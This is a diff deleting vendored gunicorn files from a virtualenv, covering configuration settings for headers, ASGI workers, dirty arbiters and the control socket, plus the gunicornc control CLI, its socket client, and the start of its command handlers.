- """ - - -class StripHeaderSpaces(Setting): - name = "strip_header_spaces" - section = "Server Mechanics" - cli = ["--strip-header-spaces"] - validator = validate_bool - action = "store_true" - default = False - desc = """\ - Strip spaces present between the header name and the the ``:``. - - This is known to induce vulnerabilities and is not compliant with the HTTP/1.1 standard. - See https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn. - - Use with care and only if necessary. Deprecated; scheduled for removal in 25.0.0 - - .. versionadded:: 20.0.1 - """ - - -class PermitUnconventionalHTTPMethod(Setting): - name = "permit_unconventional_http_method" - section = "Server Mechanics" - cli = ["--permit-unconventional-http-method"] - validator = validate_bool - action = "store_true" - default = False - desc = """\ - Permit HTTP methods not matching conventions, such as IANA registration guidelines - - This permits request methods of length less than 3 or more than 20, - methods with lowercase characters or methods containing the # character. - HTTP methods are case sensitive by definition, and merely uppercase by convention. - - If unset, Gunicorn will apply nonstandard restrictions and cause 400 response status - in cases where otherwise 501 status is expected. While this option does modify that - behaviour, it should not be depended upon to guarantee standards-compliant behaviour. - Rather, it is provided temporarily, to assist in diagnosing backwards-incompatible - changes around the incomplete application of those restrictions. - - Use with care and only if necessary. Temporary; scheduled for removal in 24.0.0 - - .. versionadded:: 22.0.0 - """ - - -class PermitUnconventionalHTTPVersion(Setting): - name = "permit_unconventional_http_version" - section = "Server Mechanics" - cli = ["--permit-unconventional-http-version"] - validator = validate_bool - action = "store_true" - default = False - desc = """\ - Permit HTTP version not matching conventions of 2023 - - This disables the refusal of likely malformed request lines. - It is unusual to specify HTTP 1 versions other than 1.0 and 1.1. - - This option is provided to diagnose backwards-incompatible changes. - Use with care and only if necessary. Temporary; the precise effect of this option may - change in a future version, or it may be removed altogether. - - .. versionadded:: 22.0.0 - """ - - -class CasefoldHTTPMethod(Setting): - name = "casefold_http_method" - section = "Server Mechanics" - cli = ["--casefold-http-method"] - validator = validate_bool - action = "store_true" - default = False - desc = """\ - Transform received HTTP methods to uppercase - - HTTP methods are case sensitive by definition, and merely uppercase by convention. - - This option is provided because previous versions of gunicorn defaulted to this behaviour. - - Use with care and only if necessary. Deprecated; scheduled for removal in 24.0.0 - - .. versionadded:: 22.0.0 - """ - - -def validate_header_map_behaviour(val): - # FIXME: refactor all of this subclassing stdlib argparse - - if val is None: - return - - if not isinstance(val, str): - raise TypeError("Invalid type for casting: %s" % val) - if val.lower().strip() == "drop": - return "drop" - elif val.lower().strip() == "refuse": - return "refuse" - elif val.lower().strip() == "dangerous": - return "dangerous" - else: - raise ValueError("Invalid header map behaviour: %s" % val) - - -class ForwarderHeaders(Setting): - name = "forwarder_headers" - section = "Server Mechanics" - cli = ["--forwarder-headers"] - validator = validate_string_to_list - default = "SCRIPT_NAME,PATH_INFO" - desc = """\ - - A list containing upper-case header field names that the front-end proxy - (see :ref:`forwarded-allow-ips`) sets, to be used in WSGI environment. - - This option has no effect for headers not present in the request. - - This option can be used to transfer ``SCRIPT_NAME``, ``PATH_INFO`` - and ``REMOTE_USER``. - - It is important that your front-end proxy configuration ensures that - the headers defined here can not be passed directly from the client. - """ - - -class HeaderMap(Setting): - name = "header_map" - section = "Server Mechanics" - cli = ["--header-map"] - validator = validate_header_map_behaviour - default = "drop" - desc = """\ - Configure how header field names are mapped into environ - - Headers containing underscores are permitted by RFC9110, - but gunicorn joining headers of different names into - the same environment variable will dangerously confuse applications as to which is which. - - The safe default ``drop`` is to silently drop headers that cannot be unambiguously mapped. - The value ``refuse`` will return an error if a request contains *any* such header. - The value ``dangerous`` matches the previous, not advisable, behaviour of mapping different - header field names into the same environ name. - - If the source is permitted as explained in :ref:`forwarded-allow-ips`, *and* the header name is - present in :ref:`forwarder-headers`, the header is mapped into environment regardless of - the state of this setting. - - Use with care and only if necessary and after considering if your problem could - instead be solved by specifically renaming or rewriting only the intended headers - on a proxy in front of Gunicorn. - - .. versionadded:: 22.0.0 - """ - - -def validate_asgi_loop(val): - if val is None: - return "auto" - if not isinstance(val, str): - raise TypeError("Invalid type for casting: %s" % val) - val = val.lower().strip() - if val not in ("auto", "asyncio", "uvloop"): - raise ValueError("Invalid ASGI loop: %s" % val) - return val - - -def validate_asgi_lifespan(val): - if val is None: - return "auto" - if not isinstance(val, str): - raise TypeError("Invalid type for casting: %s" % val) - val = val.lower().strip() - if val not in ("auto", "on", "off"): - raise ValueError("Invalid ASGI lifespan: %s" % val) - return val - - -def validate_http_parser(val): - """Validate http_parser setting. - - Accepts: auto, fast, python - """ - if val is None: - return "auto" - if not isinstance(val, str): - raise TypeError("http_parser must be a string") - val = val.lower().strip() - valid_values = ("auto", "fast", "python") - if val not in valid_values: - raise ValueError("http_parser must be one of: %s" % ", ".join(valid_values)) - return val - - -class ASGILoop(Setting): - name = "asgi_loop" - section = "Worker Processes" - cli = ["--asgi-loop"] - meta = "STRING" - validator = validate_asgi_loop - default = "auto" - desc = """\ - Event loop implementation for ASGI workers. - - - auto: Use uvloop if available, otherwise asyncio - - asyncio: Use Python's built-in asyncio event loop - - uvloop: Use uvloop (must be installed separately) - - This setting only affects the ``asgi`` worker type. - - uvloop typically provides better performance but requires - installing the uvloop package. - - .. versionadded:: 24.0.0 - """ - - -class ASGILifespan(Setting): - name = "asgi_lifespan" - section = "Worker Processes" - cli = ["--asgi-lifespan"] - meta = "STRING" - validator = validate_asgi_lifespan - default = "auto" - desc = """\ - Control ASGI lifespan protocol handling. - - - auto: Detect if app supports lifespan, enable if so - - on: Always run lifespan protocol (fail if unsupported) - - off: Never run lifespan protocol - - The lifespan protocol allows ASGI applications to run code at - startup and shutdown. This is essential for frameworks like - FastAPI that need to initialize database connections, caches, - or other resources. - - This setting only affects the ``asgi`` worker type. - - .. versionadded:: 24.0.0 - """ - - -class ASGIDisconnectGracePeriod(Setting): - name = "asgi_disconnect_grace_period" - section = "Worker Processes" - cli = ["--asgi-disconnect-grace-period"] - meta = "INT" - validator = validate_pos_int - type = int - default = 3 - desc = """\ - Grace period (seconds) for ASGI apps to handle client disconnects. - - When a client disconnects, the ASGI app receives an http.disconnect - message and has this many seconds to clean up resources (like database - connections) before the request task is cancelled. - - Set to 0 to cancel immediately (not recommended for apps with async - database connections). Apps with long-running database operations may - need to increase this value. - - This setting only affects the ``asgi`` worker type. - - .. versionadded:: 25.0.0 - """ - - -class HttpParser(Setting): - name = "http_parser" - section = "Worker Processes" - cli = ["--http-parser"] - meta = "STRING" - validator = validate_http_parser - default = "auto" - desc = """\ - HTTP parser implementation for ASGI workers. - - - auto: Use H1CProtocol if gunicorn_h1c is available, else PythonProtocol (default) - - fast: Require H1CProtocol from gunicorn_h1c (fail if unavailable) - - python: Force pure Python PythonProtocol parser - - ASGI workers use callback-based parsing in data_received() for efficient - incremental parsing. The gunicorn_h1c C extension provides significantly - faster HTTP parsing using picohttpparser with SIMD optimizations. - - Install it with: pip install gunicorn[fast] - - .. versionadded:: 25.0.0 - """ - - -class RootPath(Setting): - name = "root_path" - section = "Server Mechanics" - cli = ["--root-path"] - meta = "STRING" - validator = validate_string - default = "" - desc = """\ - The root path for ASGI applications. - - This is used to set the ``root_path`` in the ASGI scope, which - allows applications to know their mount point when behind a - reverse proxy. - - For example, if your application is mounted at ``/api``, set - this to ``/api``. - - .. versionadded:: 24.0.0 - """ - - -# ============================================================================= -# Dirty Arbiters - Separate process pool for long-running operations -# ============================================================================= - -class DirtyApps(Setting): - name = "dirty_apps" - section = "Dirty Arbiters" - cli = ["--dirty-app"] - action = "append" - meta = "STRING" - validator = validate_list_string - default = [] - desc = """\ - Dirty applications to load in the dirty worker pool. - - A list of application paths in one of these formats: - - - ``$(MODULE_NAME):$(CLASS_NAME)`` - all workers load this app - - ``$(MODULE_NAME):$(CLASS_NAME):$(N)`` - only N workers load this app - - Each dirty app must be a class that inherits from ``DirtyApp`` base class - and implements the ``init()``, ``__call__()``, and ``close()`` methods. - - Example:: - - dirty_apps = [ - "myapp.ml:MLApp", # All workers load this - "myapp.images:ImageApp", # All workers load this - "myapp.heavy:HugeModel:2", # Only 2 workers load this - ] - - The per-app worker limit is useful for memory-intensive applications - like large ML models. Instead of all 8 workers loading a 10GB model - (80GB total), you can limit it to 2 workers (20GB total). - - Alternatively, you can set the ``workers`` class attribute on your - DirtyApp subclass:: - - class HugeModelApp(DirtyApp): - workers = 2 # Only 2 workers load this app - - def init(self): - self.model = load_10gb_model() - - Note: The config format (``module:Class:N``) takes precedence over - the class attribute if both are specified. - - Dirty apps are loaded once when the dirty worker starts and persist - in memory for the lifetime of the worker. This is ideal for loading - ML models, database connection pools, or other stateful resources - that are expensive to initialize. - - .. versionadded:: 25.0.0 - - .. versionchanged:: 25.1.0 - Added per-app worker allocation via ``:N`` format suffix. - """ - - -class DirtyWorkers(Setting): - name = "dirty_workers" - section = "Dirty Arbiters" - cli = ["--dirty-workers"] - meta = "INT" - validator = validate_pos_int - type = int - default = 0 - desc = """\ - The number of dirty worker processes. - - A positive integer. Set to 0 (default) to disable the dirty arbiter. - When set to a positive value, a dirty arbiter process will be spawned - to manage the dirty worker pool. - - Dirty workers are separate from HTTP workers and are designed for - long-running, blocking operations like ML model inference or heavy - computation. - - .. versionadded:: 25.0.0 - """ - - -class DirtyTimeout(Setting): - name = "dirty_timeout" - section = "Dirty Arbiters" - cli = ["--dirty-timeout"] - meta = "INT" - validator = validate_pos_int - type = int - default = 300 - desc = """\ - Timeout for dirty task execution in seconds. - - Workers silent for more than this many seconds are considered stuck - and will be killed. Set to a high value for operations like model - loading that may take a long time. - - Value is a positive number. Setting it to 0 disables timeout checking. - - .. versionadded:: 25.0.0 - """ - - -class DirtyThreads(Setting): - name = "dirty_threads" - section = "Dirty Arbiters" - cli = ["--dirty-threads"] - meta = "INT" - validator = validate_pos_int - type = int - default = 1 - desc = """\ - The number of threads per dirty worker. - - Each dirty worker can use threads to handle concurrent operations - within the same process, useful for async-safe applications. - - .. versionadded:: 25.0.0 - """ - - -class DirtyGracefulTimeout(Setting): - name = "dirty_graceful_timeout" - section = "Dirty Arbiters" - cli = ["--dirty-graceful-timeout"] - meta = "INT" - validator = validate_pos_int - type = int - default = 30 - desc = """\ - Timeout for graceful dirty worker shutdown in seconds. - - After receiving a shutdown signal, dirty workers have this much time - to finish their current tasks. Workers still alive after the timeout - are force killed. - - .. versionadded:: 25.0.0 - """ - - -# ============================================================================= -# Dirty Arbiter Hooks -# ============================================================================= - -class OnDirtyStarting(Setting): - name = "on_dirty_starting" - section = "Dirty Arbiter Hooks" - validator = validate_callable(1) - type = callable - - def on_dirty_starting(arbiter): - pass - default = staticmethod(on_dirty_starting) - desc = """\ - Called just before the dirty arbiter process is initialized. - - The callable needs to accept a single instance variable for the - DirtyArbiter. - - .. versionadded:: 25.0.0 - """ - - -class DirtyPostFork(Setting): - name = "dirty_post_fork" - section = "Dirty Arbiter Hooks" - validator = validate_callable(2) - type = callable - - def dirty_post_fork(arbiter, worker): - pass - default = staticmethod(dirty_post_fork) - desc = """\ - Called just after a dirty worker has been forked. - - The callable needs to accept two instance variables for the - DirtyArbiter and new DirtyWorker. - - .. versionadded:: 25.0.0 - """ - - -class DirtyWorkerInit(Setting): - name = "dirty_worker_init" - section = "Dirty Arbiter Hooks" - validator = validate_callable(1) - type = callable - - def dirty_worker_init(worker): - pass - default = staticmethod(dirty_worker_init) - desc = """\ - Called just after a dirty worker has initialized all applications. - - The callable needs to accept one instance variable for the - DirtyWorker. - - .. versionadded:: 25.0.0 - """ - - -class DirtyWorkerExit(Setting): - name = "dirty_worker_exit" - section = "Dirty Arbiter Hooks" - validator = validate_callable(2) - type = callable - - def dirty_worker_exit(arbiter, worker): - pass - default = staticmethod(dirty_worker_exit) - desc = """\ - Called when a dirty worker has exited. - - The callable needs to accept two instance variables for the - DirtyArbiter and the exiting DirtyWorker. - - .. versionadded:: 25.0.0 - """ - - -# Control Socket Settings - - -def _get_default_control_socket(): - """Get default control socket path based on available directories. - - Prefers XDG_RUNTIME_DIR if available (standard on Linux, sometimes BSD), - falls back to $HOME/.gunicorn/ directory. - """ - # Prefer XDG_RUNTIME_DIR if available - xdg_runtime = os.environ.get('XDG_RUNTIME_DIR') - if xdg_runtime and os.path.isdir(xdg_runtime): - return os.path.join(xdg_runtime, 'gunicorn.ctl') - - # Fall back to $HOME/.gunicorn/ - home = os.path.expanduser('~') - gunicorn_dir = os.path.join(home, '.gunicorn') - return os.path.join(gunicorn_dir, 'gunicorn.ctl') - - -class ControlSocket(Setting): - name = "control_socket" - section = "Control" - cli = ["--control-socket"] - meta = "PATH" - validator = validate_string - default = _get_default_control_socket() - default_doc = "$XDG_RUNTIME_DIR/gunicorn.ctl or $HOME/.gunicorn/gunicorn.ctl" - desc = """\ - Unix socket path for control interface. - - The control socket allows runtime management of Gunicorn via the - ``gunicornc`` command-line tool. Commands include viewing worker - status, adjusting worker count, and graceful reload/shutdown. - - Default: ``$XDG_RUNTIME_DIR/gunicorn.ctl`` if XDG_RUNTIME_DIR is set, - otherwise ``$HOME/.gunicorn/gunicorn.ctl``. The parent directory is - created automatically if needed. - - Use ``--no-control-socket`` to disable. - - .. versionadded:: 25.1.0 - """ - - -class ControlSocketMode(Setting): - name = "control_socket_mode" - section = "Control" - cli = ["--control-socket-mode"] - meta = "INT" - validator = validate_pos_int - type = auto_int - default = 0o600 - desc = """\ - Permission mode for control socket. - - Restricts who can connect to the control socket. Default ``0600`` - allows only the socket owner. Set to ``0660`` to allow group access. - - .. versionadded:: 25.1.0 - """ - - -class ControlSocketDisable(Setting): - name = "control_socket_disable" - section = "Control" - cli = ["--no-control-socket"] - validator = validate_bool - action = "store_true" - default = False - desc = """\ - Disable control socket. - - When set, no control socket is created and ``gunicornc`` cannot - connect to this Gunicorn instance. - - .. versionadded:: 25.1.0 - """ diff --git a/venv/Lib/site-packages/gunicorn/ctl/__init__.py b/venv/Lib/site-packages/gunicorn/ctl/__init__.py deleted file mode 100644 index 968d9d319866d5a14c0f8737acb7bdd21d93a6db..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/ctl/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -Gunicorn Control Interface - -Provides a control socket server for runtime management and -a CLI client (gunicornc) for interacting with running Gunicorn instances. -""" - -from gunicorn.ctl.server import ControlSocketServer -from gunicorn.ctl.client import ControlClient -from gunicorn.ctl.protocol import ControlProtocol - -__all__ = ['ControlSocketServer', 'ControlClient', 'ControlProtocol'] diff --git a/venv/Lib/site-packages/gunicorn/ctl/cli.py b/venv/Lib/site-packages/gunicorn/ctl/cli.py deleted file mode 100644 index b63d2380ea83bb6e370d56a54edb86f0f7ddb5b8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/ctl/cli.py +++ /dev/null @@ -1,450 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -gunicornc - Gunicorn control interface CLI - -Interactive and single-command modes for controlling Gunicorn instances. -""" - -import argparse -import json -import os -import sys - -from gunicorn.config import _get_default_control_socket -from gunicorn.ctl.client import ControlClient, ControlClientError, parse_command - - -def format_workers(data: dict) -> str: - """Format workers output for display.""" - workers = data.get("workers", []) - if not workers: - return "No workers running" - - lines = [] - lines.append(f"{'PID':<10} {'AGE':<6} {'BOOTED':<8} {'LAST_BEAT'}") - lines.append("-" * 40) - - for w in workers: - pid = w.get("pid", "?") - age = w.get("age", "?") - booted = "yes" if w.get("booted") else "no" - hb = w.get("last_heartbeat") - hb_str = f"{hb}s ago" if hb is not None else "n/a" - - lines.append(f"{pid:<10} {age:<6} {booted:<8} {hb_str}") - - lines.append("") - lines.append(f"Total: {data.get('count', len(workers))} workers") - - return "\n".join(lines) - - -def format_dirty(data: dict) -> str: - """Format dirty workers output for display.""" - if not data.get("enabled"): - return "Dirty arbiter not running" - - lines = [] - lines.append(f"Dirty arbiter PID: {data.get('pid')}") - lines.append("") - - workers = data.get("workers", []) - if workers: - lines.append("DIRTY WORKERS:") - lines.append(f"{'PID':<10} {'AGE':<6} {'APPS':<30} {'LAST_BEAT'}") - lines.append("-" * 60) - - for w in workers: - pid = w.get("pid", "?") - age = w.get("age", "?") - apps = ", ".join(w.get("apps", []))[:30] - hb = w.get("last_heartbeat") - hb_str = f"{hb}s ago" if hb is not None else "n/a" - - lines.append(f"{pid:<10} {age:<6} {apps:<30} {hb_str}") - lines.append("") - - apps = data.get("apps", []) - if apps: - lines.append("DIRTY APPS:") - lines.append(f"{'APP':<30} {'WORKERS':<10} {'LIMIT'}") - lines.append("-" * 50) - - for app in apps: - path = app.get("import_path", "?")[:30] - current = app.get("current_workers", 0) - limit = app.get("worker_count") - limit_str = str(limit) if limit is not None else "none" - - lines.append(f"{path:<30} {current:<10} {limit_str}") - - return "\n".join(lines) - - -def format_stats(data: dict) -> str: - """Format stats output for display.""" - lines = [] - - uptime = data.get("uptime") - if uptime: - hours = int(uptime // 3600) - minutes = int((uptime % 3600) // 60) - seconds = int(uptime % 60) - if hours: - uptime_str = f"{hours}h {minutes}m {seconds}s" - elif minutes: - uptime_str = f"{minutes}m {seconds}s" - else: - uptime_str = f"{seconds}s" - else: - uptime_str = "unknown" - - lines.append(f"Uptime: {uptime_str}") - lines.append(f"PID: {data.get('pid', 'unknown')}") - lines.append(f"Workers current: {data.get('workers_current', 0)}") - lines.append(f"Workers target: {data.get('workers_target', 0)}") - lines.append(f"Workers spawned: {data.get('workers_spawned', 0)}") - lines.append(f"Workers killed: {data.get('workers_killed', 0)}") - lines.append(f"Reloads: {data.get('reloads', 0)}") - - dirty_pid = data.get("dirty_arbiter_pid") - if dirty_pid: - lines.append(f"Dirty arbiter: {dirty_pid}") - - return "\n".join(lines) - - -def format_listeners(data: dict) -> str: - """Format listeners output for display.""" - listeners = data.get("listeners", []) - if not listeners: - return "No listeners bound" - - lines = [] - lines.append(f"{'ADDRESS':<40} {'TYPE':<8} {'FD'}") - lines.append("-" * 55) - - for lnr in listeners: - addr = lnr.get("address", "?") - ltype = lnr.get("type", "?") - fd = lnr.get("fd", "?") - lines.append(f"{addr:<40} {ltype:<8} {fd}") - - lines.append("") - lines.append(f"Total: {data.get('count', len(listeners))} listeners") - - return "\n".join(lines) - - -def format_config(data: dict) -> str: - """Format config output for display.""" - lines = [] - - # Sort keys for consistent output - for key in sorted(data.keys()): - value = data[key] - if isinstance(value, list): - value = ", ".join(str(v) for v in value) - lines.append(f"{key}: {value}") - - return "\n".join(lines) - - -def format_help(data: dict) -> str: - """Format help output for display.""" - commands = data.get("commands", {}) - lines = [] - lines.append("Available commands:") - lines.append("") - - # Find max command length for alignment - max_len = max(len(cmd) for cmd in commands.keys()) if commands else 0 - - for cmd, desc in sorted(commands.items()): - lines.append(f" {cmd:<{max_len + 2}} {desc}") - - return "\n".join(lines) - - -def format_all(data: dict) -> str: - """Format show all output for display.""" - lines = [] - - # Arbiter - arbiter = data.get("arbiter", {}) - lines.append("ARBITER (master)") - lines.append(f" PID: {arbiter.get('pid', '?')}") - lines.append("") - - # Web workers - web_workers = data.get("web_workers", []) - lines.append(f"WEB WORKERS ({data.get('web_worker_count', 0)})") - if web_workers: - lines.append(f" {'PID':<10} {'AGE':<6} {'BOOTED':<8} {'LAST_BEAT'}") - lines.append(f" {'-' * 38}") - for w in web_workers: - pid = w.get("pid", "?") - age = w.get("age", "?") - booted = "yes" if w.get("booted") else "no" - hb = w.get("last_heartbeat") - hb_str = f"{hb}s ago" if hb is not None else "n/a" - lines.append(f" {pid:<10} {age:<6} {booted:<8} {hb_str}") - else: - lines.append(" (none)") - lines.append("") - - # Dirty arbiter - dirty_arbiter = data.get("dirty_arbiter") - if dirty_arbiter: - lines.append("DIRTY ARBITER") - lines.append(f" PID: {dirty_arbiter.get('pid', '?')}") - lines.append("") - - # Dirty workers - dirty_workers = data.get("dirty_workers", []) - lines.append(f"DIRTY WORKERS ({data.get('dirty_worker_count', 0)})") - if dirty_workers: - lines.append(f" {'PID':<10} {'AGE':<6} {'APPS'}") - lines.append(f" {'-' * 50}") - for w in dirty_workers: - pid = w.get("pid", "?") - age = w.get("age", "?") - apps = w.get("apps", []) - # Show each app on its own line if multiple - if apps: - first_app = apps[0].split(":")[-1] # Just the class name - lines.append(f" {pid:<10} {age:<6} {first_app}") - for app in apps[1:]: - app_name = app.split(":")[-1] - lines.append(f" {'':<10} {'':<6} {app_name}") - else: - lines.append(f" {pid:<10} {age:<6} (no apps)") - else: - lines.append(" (none)") - else: - lines.append("DIRTY ARBITER") - lines.append(" (not running)") - - return "\n".join(lines) - - -def format_response(command: str, data: dict) -> str: # pylint: disable=too-many-return-statements - """ - Format response data based on command. - - Args: - command: Original command string - data: Response data dictionary - - Returns: - Formatted string for display - """ - cmd_lower = command.lower().strip() - - # Route to specific formatters - if cmd_lower == "show all": - return format_all(data) - elif cmd_lower == "show workers": - return format_workers(data) - elif cmd_lower == "show dirty": - return format_dirty(data) - elif cmd_lower == "show stats": - return format_stats(data) - elif cmd_lower == "show listeners": - return format_listeners(data) - elif cmd_lower == "show config": - return format_config(data) - elif cmd_lower == "help": - return format_help(data) - else: - # Generic JSON output for other commands - if data: - return json.dumps(data, indent=2) - return "OK" - - -def run_command(socket_path: str, command: str, json_output: bool = False) -> int: - """ - Execute single command and exit. - - Args: - socket_path: Path to control socket - command: Command to execute - json_output: If True, output raw JSON - - Returns: - Exit code (0 for success, 1 for error) - """ - try: - with ControlClient(socket_path) as client: - cmd, args = parse_command(command) - full_command = f"{cmd} {' '.join(args)}".strip() if args else cmd - result = client.send_command(full_command) - - if json_output: - print(json.dumps(result, indent=2)) - else: - output = format_response(cmd, result) - print(output) - - return 0 - - except ControlClientError as e: - print(f"Error: {e}", file=sys.stderr) - return 1 - except KeyboardInterrupt: - return 130 - - -def run_interactive(socket_path: str, json_output: bool = False) -> int: - """ - Run interactive CLI with readline support. - - Args: - socket_path: Path to control socket - json_output: If True, output raw JSON - - Returns: - Exit code - """ - try: - import readline # noqa: F401 - imported for side effects - has_readline = True - except ImportError: - has_readline = False - - try: - client = ControlClient(socket_path) - client.connect() - except ControlClientError as e: - print(f"Error: {e}", file=sys.stderr) - return 1 - - print(f"Connected to {socket_path}") - print("Type 'help' for available commands, 'quit' to exit.") - print() - - # Set up readline history - history_file = os.path.expanduser("~/.gunicornc_history") - if has_readline: - try: - readline.read_history_file(history_file) - except FileNotFoundError: - pass - - exit_code = 0 - - try: - while True: - try: - line = input("gunicorn> ").strip() - except EOFError: - print() - break - - if not line: - continue - - if line.lower() in ('quit', 'exit', 'q'): - break - - try: - cmd, args = parse_command(line) - full_command = f"{cmd} {' '.join(args)}".strip() if args else cmd - result = client.send_command(full_command) - - if json_output: - print(json.dumps(result, indent=2)) - else: - output = format_response(cmd, result) - print(output) - - except ControlClientError as e: - print(f"Error: {e}") - # Try to reconnect - try: - client.close() - client.connect() - except ControlClientError: - print("Connection lost. Exiting.") - exit_code = 1 - break - - print() - - except KeyboardInterrupt: - print() - exit_code = 130 - finally: - client.close() - if has_readline: - try: - readline.write_history_file(history_file) - except Exception: - pass - - return exit_code - - -def main(): - """Main entry point for gunicornc CLI.""" - parser = argparse.ArgumentParser( - description='Gunicorn control interface', - formatter_class=argparse.RawDescriptionHelpFormatter, - epilog=""" -Examples: - gunicornc # Interactive mode (default socket) - gunicornc -s /tmp/myapp.ctl # Interactive mode with custom socket - gunicornc -c "show workers" # Single command mode - gunicornc -c "worker add 2" # Add 2 workers - gunicornc -c "show stats" -j # Output stats as JSON - """ - ) - - parser.add_argument( - '-s', '--socket', - default=_get_default_control_socket(), - help='Control socket path (default: auto-detected based on XDG_RUNTIME_DIR or ~/.gunicorn/)' - ) - - parser.add_argument( - '-c', '--command', - help='Execute single command and exit' - ) - - parser.add_argument( - '-j', '--json', - action='store_true', - help='Output raw JSON (for scripting)' - ) - - parser.add_argument( - '-v', '--version', - action='store_true', - help='Show version and exit' - ) - - args = parser.parse_args() - - if args.version: - from gunicorn import __version__ - print(f"gunicornc (gunicorn {__version__})") - return 0 - - socket_path = args.socket - - # Make relative paths absolute from cwd - if not os.path.isabs(socket_path): - socket_path = os.path.join(os.getcwd(), socket_path) - - if args.command: - return run_command(socket_path, args.command, args.json) - else: - return run_interactive(socket_path, args.json) - - -if __name__ == '__main__': - sys.exit(main()) diff --git a/venv/Lib/site-packages/gunicorn/ctl/client.py b/venv/Lib/site-packages/gunicorn/ctl/client.py deleted file mode 100644 index cc9d39fa2529d523b756ce521375473a9a86800a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/ctl/client.py +++ /dev/null @@ -1,139 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -Control Socket Client - -Client library for connecting to gunicorn control socket. -""" - -import shlex -import socket - -from gunicorn.ctl.protocol import ( - ControlProtocol, - make_request, -) - - -class ControlClientError(Exception): - """Control client error.""" - - -class ControlClient: - """ - Client for connecting to gunicorn control socket. - - Can be used as a context manager: - - with ControlClient('/path/to/gunicorn.ctl') as client: - result = client.send_command('show workers') - """ - - def __init__(self, socket_path: str, timeout: float = 30.0): - """ - Initialize control client. - - Args: - socket_path: Path to the Unix socket - timeout: Socket timeout in seconds (default 30) - """ - self.socket_path = socket_path - self.timeout = timeout - self._sock = None - self._request_id = 0 - - def connect(self): - """ - Connect to control socket. - - Raises: - ControlClientError: If connection fails - """ - if self._sock: - return - - try: - self._sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) - self._sock.settimeout(self.timeout) - self._sock.connect(self.socket_path) - except socket.error as e: - self._sock = None - raise ControlClientError(f"Failed to connect to {self.socket_path}: {e}") - - def close(self): - """Close connection.""" - if self._sock: - try: - self._sock.close() - except Exception: - pass - self._sock = None - - def send_command(self, command: str, args: list = None) -> dict: - """ - Send command and wait for response. - - Args: - command: Command string (e.g., "show workers") - args: Optional additional arguments - - Returns: - Response data dictionary - - Raises: - ControlClientError: If communication fails - """ - if not self._sock: - self.connect() - - self._request_id += 1 - request = make_request(self._request_id, command, args) - - try: - ControlProtocol.write_message(self._sock, request) - response = ControlProtocol.read_message(self._sock) - except Exception as e: - self.close() - raise ControlClientError(f"Communication error: {e}") - - if response.get("status") == "error": - raise ControlClientError(response.get("error", "Unknown error")) - - return response.get("data", {}) - - def __enter__(self): - self.connect() - return self - - def __exit__(self, *args): - self.close() - - -def parse_command(line: str) -> tuple: - """ - Parse a command line into command and args. - - Args: - line: Command line string - - Returns: - Tuple of (command_string, args_list) - """ - parts = shlex.split(line) - if not parts: - return "", [] - - # Find where numeric/value args start - command_parts = [] - args = [] - - for part in parts: - # If we haven't hit args yet and this looks like a command word - if not args and not part.isdigit() and not part.startswith('-'): - command_parts.append(part) - else: - args.append(part) - - return " ".join(command_parts), args diff --git a/venv/Lib/site-packages/gunicorn/ctl/handlers.py b/venv/Lib/site-packages/gunicorn/ctl/handlers.py deleted file mode 100644 index 827f62eef8400acdda876ce73115f1ab28697791..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/ctl/handlers.py +++ /dev/null @@ -1,585 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -Control Interface Command Handlers - -Provides handlers for all control commands with access to arbiter state. -""" - -import os -import signal -import socket -import time - - -class CommandHandlers: - """ - Command handlers with access to arbiter state. - - All handler methods return dictionaries that will be sent - as the response data. - """ - - def __init__(self, arbiter): - """ - Initialize handlers with arbiter reference. - - Args: - arbiter: The Gunicorn arbiter instance - """ - self.arbiter = arbiter - - def show_workers(self) -> dict: - """ - Return list of HTTP workers. - - Returns: - Dictionary with workers list containing: - - pid: Worker process ID - - age: Worker age (spawn order) - - requests: Number of requests handled (if available) - - booted: Whether worker has finished booting - - last_heartbeat: Seconds since last heartbeat - """ - workers = [] - now = time.monotonic() - - for pid, worker in self.arbiter.WORKERS.items(): - try: - last_update = worker.tmp.last_update() - last_heartbeat = round(now - last_update, 2) - except (OSError, ValueError): - last_heartbeat = None - - workers.append({ - "pid": pid, - "age": worker.age, - "booted": worker.booted, - "aborted": worker.aborted, - "last_heartbeat": last_heartbeat, - }) - - # Sort by age (oldest first) - workers.sort(key=lambda w: w["age"]) - - return {"workers": workers, "count": len(workers)} - - def show_dirty(self) -> dict: - """ - Return dirty workers and apps information. - - Returns: - Dictionary with: - - enabled: Whether dirty arbiter is running - - pid: Dirty arbiter PID - - workers: List of dirty worker info - - apps: List of dirty app specs - """ - if not self.arbiter.dirty_arbiter_pid: - return { - "enabled": False, - "pid": None, - "workers": [], - "apps": [], - } - - # Get dirty arbiter reference if available - dirty_arbiter = getattr(self.arbiter, 'dirty_arbiter', None) - - workers = [] - apps = [] - - if dirty_arbiter and hasattr(dirty_arbiter, 'workers'): - now = time.monotonic() - for pid, worker in dirty_arbiter.workers.items(): - try: - last_update = worker.tmp.last_update() - last_heartbeat = round(now - last_update, 2) - except (OSError, ValueError, AttributeError): - last_heartbeat = None - - workers.append({ - "pid": pid, - "age": worker.age, - "apps": getattr(worker, 'app_paths', []), - "booted": getattr(worker, 'booted', False), - "last_heartbeat": last_heartbeat, - }) - - # Get app specs - if hasattr(dirty_arbiter, 'app_specs'): - for path, spec in dirty_arbiter.app_specs.items(): - worker_pids = list(dirty_arbiter.app_worker_map.get(path, [])) - apps.append({ - "import_path": path, - "worker_count": spec.get('worker_count'), - "current_workers": len(worker_pids), - "worker_pids": worker_pids, - }) - - return { - "enabled": True, - "pid": self.arbiter.dirty_arbiter_pid, - "workers": workers, - "apps": apps, - } - - def show_config(self) -> dict: - """ - Return current effective configuration. - - Returns: - Dictionary of configuration values - """ - cfg = self.arbiter.cfg - config = {} - - # Get commonly needed config values - config_keys = [ - 'bind', 'workers', 'worker_class', 'threads', 'timeout', - 